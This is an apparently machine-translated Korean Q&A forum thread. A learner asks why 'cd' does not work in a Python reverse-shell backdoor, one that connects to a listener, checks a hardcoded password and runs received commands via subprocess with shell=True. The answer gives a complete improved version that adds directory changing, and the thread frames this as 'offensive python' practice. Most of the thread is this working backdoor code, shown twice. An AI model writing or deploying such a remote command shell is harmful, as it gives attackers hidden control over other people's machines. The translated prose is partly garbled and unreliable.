2017-10-30 5 views
0

다음은 포트 1234에서 내 컴퓨터에 대한 연결을 설정하는 Python 스크립트입니다. Netcat을 사용하여 해당 포트에서 수신 대기 한 다음 터미널을 사용하여 내 컴퓨터에서 작업을 수행 할 수 있습니다 나는 이것이 사소한 것임을 알고 있지만, 연습을위한 것임).백도어 셸에서 디렉토리를 변경할 수 없습니다.

"ls, mkdir, pwd, rm 또는 심지어"ls/root/Desktop/"과 같은 명령이 작동하지만"cd/root/Desktop "또는"cd .. "는 그렇지 않습니다. . 실제로 정말 나쁜 입력됩니다 작업 "CD는 ..."오류 메시지를 반환하지 않습니다, 그러나 그것 또한 디렉토리를 변경하지 않는 내 파이썬 디렉토리를 떠날 수 없다 여기

는 스크립트입니다..

#! /usr/bin/python 
import socket 
import subprocess 

host = "localhost" 
port = 1234 
passwd = "hacking" 


def login(): 
    global s 
    s.send("Login: ") 
    pwd = s.recv(1024) 

    if pwd.strip() != passwd: 
     login() 
    else: 
     s.send("Connected #> ") 
     shell() 

def shell(): 
    while True: 
     data = s.recv(1024) 

     if data.strip() == ":kill": 
       break 

     proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, 
           stderr=subprocess.PIPE, stdin=subprocess.PIPE) 
     output = proc.stdout.read() + proc.stderr.read() 
     s.send(output) 
     s.send("#> ") 



s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect((host, port)) 
login() 

내가 here에서 얻었다.

이 사람이 나를 도울 수 있습니까? 어떤 생각 w을 나는 디렉토리를 떠날 수 없다? 미리 감사드립니다!

답변

1

실제로 제대로 작동합니다. 단일 명령에서 이것을 시도한 경우 cd /other/directory; ls. 디렉토리가 실제로 해당 명령의 지속 기간 동안 "변경"되었음을 알 수 있습니다. 모든 새로운 명령은 새로운 환경을 가져옵니다 (다시 원래의 동일한 디렉토리로 되돌아갑니다). 명령 사이에서 "서버 컨텍스트"를 변경하려면 파이썬에서 수행해야합니다. "죽이는"명령, 스크립트 페이지의 경우 "CHDIR/새/디렉토리는"다음 파이썬은 CHDIR 함수를 실행, 그렇지 않으면 같은

#! /usr/bin/python 
import socket 
import subprocess 
import os 

host = "localhost" 
port = 12345 
passwd = "hacking" 


def login(): 
    global s 
    s.send("Login: ") 
    pwd = s.recv(1024) 

    if pwd.strip() != passwd: 
     login() 
    else: 
     s.send("Connected #> ") 
     shell() 

def shell(): 
    while True: 
     data = s.recv(1024).strip() 

     if data == ":kill": 
       break 

     try: 
      cmd, params = data.split(" ", 1) 
      if cmd == ":chdir": 
       os.chdir(params) 
       print "chdir to %s" % (params) 
       s.send("#> ") 
       continue 
     except: 
      pass 

     proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, 
           stderr=subprocess.PIPE, stdin=subprocess.PIPE) 
     output = proc.stdout.read() + proc.stderr.read() 
     s.send(output) 
     s.send("#> ") 



s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect((host, port)) 
login() 

같은 생각 : 아래 더러운 예는 귀하가 제공 한 코드에 추가 그것을 Popen에 전달하십시오.

+0

안녕하세요. smassey, 정말 고마워요! 실제로 cmd == ": chdir": ** ** if ** cmd == "cd": **로 바뀌 었습니다. **, 지금은 정확히 원하는대로 작동합니다! 한 가지 질문 : 나는 실제로 Python을 처음 사용 (Python으로 한달 동안 일하고있다.)했다. 나는 os 모듈에 대해 몰랐다. 앞으로 어떤 기능을 추가하려면 "올바른"모듈을 잘 만드는 가장 좋은 방법은 무엇입니까? 포럼에서 항상 묻는 것이 더 나아지기위한 최선의 방법이 아닌 것 같습니다 – Benjamin

+0

안녕하세요 @ 벤자민은 불행히도 그렇게 간단하지 않습니다. 처음에는 어려운 것처럼 보일 지 모르지만 표준 라이브러리는 확실히 출발점입니다. https://docs.python.org/2/library/index.html 자세한 내용을 알 필요가없는 내용입니다 (모든 매개 변수의 모든 기능). 그러나 적어도 사용 가능한 모듈과 일반적인 목적을 알고 있어야합니다. 거기에있는 각 모듈에는 언젠가는 반드시 필요한 자신의 목적이 있습니다. 1 달 만에 훌륭한 시작과이 스크립트를 볼 수있는 재미가 있습니다. (거의 10 년 전 정확히 같은 방식으로 여행을 시작했습니다 : "공격적인 비단뱀") – smassey

+0

안녕하세요 smassey, 표준 라이브러리가 거대합니다! 어쨌든 고마워, 내가 거기에서 시작하려고하고 특히 나를 위해 흥미로운 모듈을 알아낼 것입니다. 대단히 감사합니다 :). 어제는 코드를 다시 살펴보고 다른 질문을 제기했습니다. ** os.chdir() **의 목적을 쉽게 볼 수 있지만, 왜 이것이 어떻게 공격자가 사용하고있는 터미널에서 실제로 작동하는지 이해하지 못합니다. ** os.chdir() **을 사용하는 이유는 공격자가 사용중인 현재 디렉토리에 영향을 미치고 있습니까? 제 질문이 당신에게 의미가 있습니까? 다시 한번 고마워요. – Benjamin